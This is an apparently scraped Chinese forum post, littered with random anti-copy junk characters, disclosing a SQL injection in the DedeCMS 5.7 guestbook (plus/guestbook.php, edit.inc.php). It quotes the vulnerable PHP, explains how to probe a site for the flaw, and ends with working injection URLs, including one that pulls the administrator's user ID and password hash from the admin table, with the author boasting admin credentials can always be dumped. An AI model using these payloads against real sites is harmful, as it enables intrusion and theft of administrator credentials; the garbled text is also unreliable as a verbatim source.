影响版本为5.7
1 H8 [; Y |* Q9 K. \4 b9 \. u/ m. M$ V, C5 D/ Y
漏洞文件edit.inc.php具体代码:
( e0 F7 p( v' P# I( g
: D* Y: Q* E% l4 K< ?php & @5 Z6 m9 U0 o! U9 T
6 D5 m$ s4 F9 K$ V
if(!defined('DEDEINC')) exit('Request Error!');
4 H/ d$ [8 a6 V' k2 \) l1 g; e; k$ P* P( g! s" `6 x$ S8 j
: q) u8 [, }, e0 E: V" Q
; O: v+ u4 _" z* T" W! Y1 u
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; " J1 T% ?) { {. B
+ H4 J0 @$ h6 ]8 }- a" n
else $GUEST_BOOK_POS = "guestbook.php";
. J4 u, y# X0 T9 `- g# \, q
6 X6 U o& M9 I3 A . @/ u) w5 f3 X0 S7 t8 s
7 ^1 K' v4 j6 ~ e: I/ v, I8 P
$id = intval($id);
7 x; S( h( x X- ?) z. W; [* a8 o) i- y" ]) \0 R, C
if(empty($job)) $job='view';
: L5 M& J( f1 _
. m- o1 D0 k* a! ]7 @4 G
2 n- ^ Z. N K6 {" A
& w/ V/ u* t- G' mif($job=='del' && $g_isadmin) 9 W% v/ e3 m7 N# O. b
8 \0 _ x, _8 ?9 E{ ; n5 O9 k5 n0 {# v1 T) Q
0 X' t- I$ h5 ]$ f
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
# Q) }2 h/ X+ z. w; M) V# t+ }# _ H
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); $ a( m1 |) l1 I6 \( V1 m- c4 Y
) W" g" l# ~ o2 Q6 i% [exit(); : k) V! C0 @2 A$ h
) \; A1 e* B& q4 G3 n
}
6 @5 @2 Q3 I7 o9 \5 @2 [% x3 ]$ S) p
% r1 M5 g5 a9 K6 `5 W7 e( Nelse if($job=='check' && $g_isadmin)
* H3 p/ i+ p. b* R9 J; E6 G' u
$ u/ p, i/ F+ {- y{
+ {( {" N9 l6 _) i8 G/ A" S: D4 v, h+ `
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 _- B, g; v! C5 g& y4 M4 U7 d& @( H8 q1 ^. t
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
% M2 C: J8 @& m$ F# n: q
. ]+ O9 o/ F$ V) G5 U! [exit(); : C8 b& O+ ^$ W' f) r7 ~, l
; b( z/ x: E" \* y}
% D$ K! U3 {5 T2 \. }' ] n2 j/ n
, \: ]5 N) u- I$ U d% n" Xelse if($job=='editok')
& l1 E9 N0 e& n
& B+ u7 \- D1 t+ L1 d$ Z: T( R& M2 B% S3 k{
6 E% i$ f; l# w: g* x) G% E! v3 U
6 I5 b8 p4 L+ D0 S. M) R$remsg = trim($remsg);
5 |/ c9 Y7 Y. [6 S4 m
7 z8 F6 i" S- F& Cif($remsg!='') * |2 G# T/ Z$ ^1 G
% \/ S0 w& @% V; E- H8 [7 Z) @
{ ( Z0 r* p* `8 K4 H( x" b2 `
9 d# {3 b; {! I( ]7 U# F" n; W//管理员回复不过滤HTML By:Errorera blog:errs.cc 1 q* w" w, }- K% g" L7 K
/ S& f; H* g0 i- \# e
if($g_isadmin)
4 h# u3 M' P1 x: U. f
! ^6 O! ^, V9 b+ b9 m, ~/ e{ . O; q- g9 A8 H6 u0 |" F
% W; {0 _2 F) `+ i' J* |$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
7 A5 P+ x" d) o( M, J2 N8 s {* T/ O D6 p# M
//$remsg <br /><font color=red>管理员回复:</font> } - r7 w) `: l1 [. s4 K5 ~+ j
8 g% p, u" p, F. `, aelse
7 j3 T- N0 V* C
# s6 r8 w6 h7 v/ K. v" e0 ~5 v{
4 i) _& C& \" Q) r$ x w h8 z f$ \- g
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
; @+ Z3 j6 G" A, L, C! \5 o) W; j% F( w
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
6 I4 u' H: g; k- w+ x$ X1 O9 g- q
* i1 l- _6 V3 I" h+ g) H" v$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
2 s- t5 I a$ s4 v \( P: z& C9 ]2 R9 e3 z6 \
$msg = $oldmsg.$remsg; ! Y% `. r. m- p
$ o' }% `: D9 s" v
}
( |6 E4 I/ @! h, d- l
# `' V- O" |; \+ {, Q}
5 l' Y& T& `8 N H; S* n; B3 l$ m* t, x
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 2 y- V- i: U' P
# Q- _% x L! r/ h1 H! B) g$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
5 w1 `& T9 A5 }' |4 ^0 a/ h3 |+ I) N2 z: j( X6 O
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ! \5 W6 \* t' A8 c( U/ d0 [, k
4 t, l( e0 n; Q2 i
exit(); % q! ~8 t0 d, h7 ^' k) k
, m8 R. Q; U6 g! Q% c0 W' e8 B}
9 k9 H. X8 t& s$ q' x7 z$ [" \4 Z$ K( k9 C. I. l0 N
//home:www.errs.cc
1 N- b% U5 B5 j' M- i i4 H6 {9 X5 l
if($g_isadmin) 0 O* d1 A+ D3 @& y' B; [; v
! G9 Y. H. a1 ], ]
{ 3 N r2 ?1 h; E* ?* X
$ C% J0 k/ g& F$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); # T. J. B K6 r( O+ {( ]
: q; d: P, w6 }. Srequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
v7 O2 g0 u% `0 A
' e9 j h$ S2 R; \) [3 h} $ [& j: F p m
+ R( m3 j- a4 t# K( a+ helse
5 L& L$ y' Y, E4 g s$ {- x
6 @8 L) j! r% ~& l% B{ , F1 X7 l" t/ ?" H* U/ a5 M4 L
' o3 b1 w2 Q r7 ^7 X t2 b$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
$ \% a. B& g5 D1 |/ W+ j- ?, x' u6 Y2 R# [
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); + @" y' @1 E+ v* s' T; W2 ~
0 {4 k- ]$ p' i9 ]7 w8 ]# ~" Z
} 漏洞成功需要条件:
* [, r& _7 O* J9 m* ]8 h \1. php magic_quotes_gpc=off
8 x$ C8 h6 u2 a! [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。$ D T5 D( X u0 j
& l: W: L; G0 X" h6 a# ?0 X" M% s怎么判断是否存在漏洞:
/ N* J/ D- c& J2 n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,1 G, u) p1 L! j: {7 A0 Q
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 o$ A. F. x$ ?$ `7 }; ~
访问:
8 u+ u! Q* B3 L. ?. I. T* q$ a; J4 Z# g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
6 S; x5 d' \+ k" x$ v0 s跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证5 R0 W: V" s" O* j
; z3 G# \& J% a: U3 _; a) V
9 }! s9 b6 H7 |( d5 `
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off; z& ^' S2 s1 J5 D4 @' i
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 e& {/ h0 s# B! k那么再次访问
2 v& V) a. e5 H9 x* ~& F+ x, f$ d
* e* D; T+ R6 R: ?" g& M: O# jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 G0 Q$ F& [2 |* J5 d* D6 l% x4 U5 e
4 Y( S: n. y j) l0 @; h
大概利用就是这样,大家有兴趣的多研究下!!1 N, K: H0 _8 c+ ~" t
# z7 z/ q# }+ p$ L9 ] Z$ v$ }3 _3 G7 v8 Y最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!; Z# J/ I0 R1 |) m; D# ~, z
. i* V5 D7 @4 _* C' H0 V
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |